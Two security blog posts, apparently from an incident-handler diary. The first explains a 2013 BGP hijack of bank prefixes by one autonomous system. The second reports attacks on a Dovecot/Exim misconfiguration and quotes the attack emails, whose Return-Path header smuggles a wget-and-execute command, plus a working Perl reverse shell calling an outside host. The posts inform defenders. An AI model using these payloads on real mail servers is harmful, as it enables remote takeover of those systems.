BGP multiple banking addresses hijacked
BGP multiple banking addresses hijacked
On 24 July 2013 a significant number of Internet Protocol (IP) addresses that belong to banks suddenly were routed to somewhere else. An IP address is how packets are routed to their destination across the Internet. Why is this important you ask? Well, imagine the Internet suddenly decided that you were living in the middle of Asia and all traffic that should go to you ends up traveling through a number of other countries to get to you, but you aren't there. You are still at home and haven't moved at all. All packets that should happily route to you now route elsewhere. Emails sent to you bounce as undeliverable, or are read by other people. Banking transactions fail. HTTPS handshakes get invalid certificate errors. This defeats the confidentiality, integrity, and availability of all applications running in the hijacked address spaces for the time that the hijack is running. In fact this sounds like a nifty way to attack an organization doesn't it? The question then would be how to pull it off, hijack someone else's address? The Autonomous System (AS) in question is owned by NedZone Internet BV in the Netherlands. This can be found by querying whois for the AS 25459. According to RIPE this AS originated 369 prefixes in the last 30 days, of these 310 had unusually small prefixes. Typically a BGP advertisement is at least a /24 or 256 unique Internet addressable IPs. A large number of these were /32 or single IP addresses. The short answer is that any Internet Service Provider (ISP) that is part of the global Border Gateway Protocol (BGP) network can advertise a route to a prefix that it owns. It simply updates the routing tables to point to itself, and then the updates propagate throughout the Internet. If an ISP announces for a prefix it does not own, traffic may be routed to it, instead of to the owner. The more specific prefix, or the one with the shortest apparent route wins. That's all it takes to disrupt traffic to virtually anyone on the Internet, connectivity and willingness to announce a route that does not belong to you. This is not a new attack, it has happened numerous times in the past, both malicious attacks and accidental typos have been the cause.
The announcements from AS 25459 can be seen at:
http://www.ris.ripe.net/mt/asdashboard.html?as=25459
A sampling of some of the owners of the IP addresses that were hijacked follow:
1 AMAZON-AES - Amazon.com, Inc.
2 AS-7743 - JPMorgan Chase & Co.
1 ASN-BBT-ASN - Branch Banking and Trust Company
2 BANK-OF-AMERICA Bank of America
1 CEGETEL-AS Societe Francaise du Radiotelephone S.A
1 FIRSTBANK - FIRSTBANK
1 HSBC-HK-AS HSBC HongKong
1 PFG-ASN-1 - The Principal Financial Group
2 PNCBANK - PNC Bank
1 REGIONS-ASN-1 - REGIONS FINANCIAL CORPORATION
Some on the list were owned by that ISP, the prefix size is what was odd about them. The bulk of the IP addresses were owned by various hosting providers. So, the question is:
What happened?
Makes you wonder about the fundamental (in)security of this set of experimental protocols we use called the Internet doesn't it?
Cheers,
Adrien de Beaupré
Intru-shun.ca Inc.
Dovecot / Exim Exploit Detects
Sometimes it doesn't take an IDS to detect an attack, but just reading your e-mail will do. Our read Timo sent along these two e-mails he received, showing exploitation of a recent Dovecot/Exim configuration flaw [1]:
Return-Path: <x`wget${IFS}-O${IFS}/tmp/p.pl${IFS}x.cc.st/exim``perl${IFS}/tmp/p.pl`@blaat.com>
X-Original-To: postmaster@localhost
Delivered-To: postmaster@localhost
Received: from domain.local (disco.dnttm.ro [193.226.98.239])
by [REMOVED]
Return-Path: <x`wget${IFS}-O${IFS}/tmp/p.pl${IFS}x.cc.st/php.jpg``perl${IFS}/tmp/p.pl`@blaat.com>
X-Original-To: postmaster@localhost
Delivered-To: postmaster@localhost
Received: from domain.local (disco.dnttm.ro [193.226.98.239])
by [REMOVED]
The actual exploit happens in the "Return-Path" line. If exim is used as a mail server, it can be configured to "pipe" messages to an external program in order to allow for more advanced delivery and filtering options. A common configuration includes the mail devliery agent Dovecot which implements a pop3 and imap server. Sadly, the sample configuration provided to configure Dovecot with Exim passes the string the attacker provided as "MAIL FROM" in the e-mail envelope as a shell parameter without additional validation.
The first script ("exim") is a little one liner shell connecting to port 9 on vps.usits.net (reformated for redability)
use Socket;
$i="vps.usits.net";
$p=9;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))) {
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");};
The second script first retrieves a perl script, and then executes it. The perl script does implement a simple IRC client connecting to mix.cf.gs on port 3303 (right now, this resolves to 140.117.32.135, but is not responding on port 3303)
For more details, see the writeout by RedTeam Pentesting [2]
[1] http://osvdb.org/show/osvdb/93004
[2] https://www.redteam-pentesting.de/en/advisories/rt-sa-2013-001/-exim-with-dovecot-typical-misconfiguration-leads-to-remote-command-execution
------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter
Comments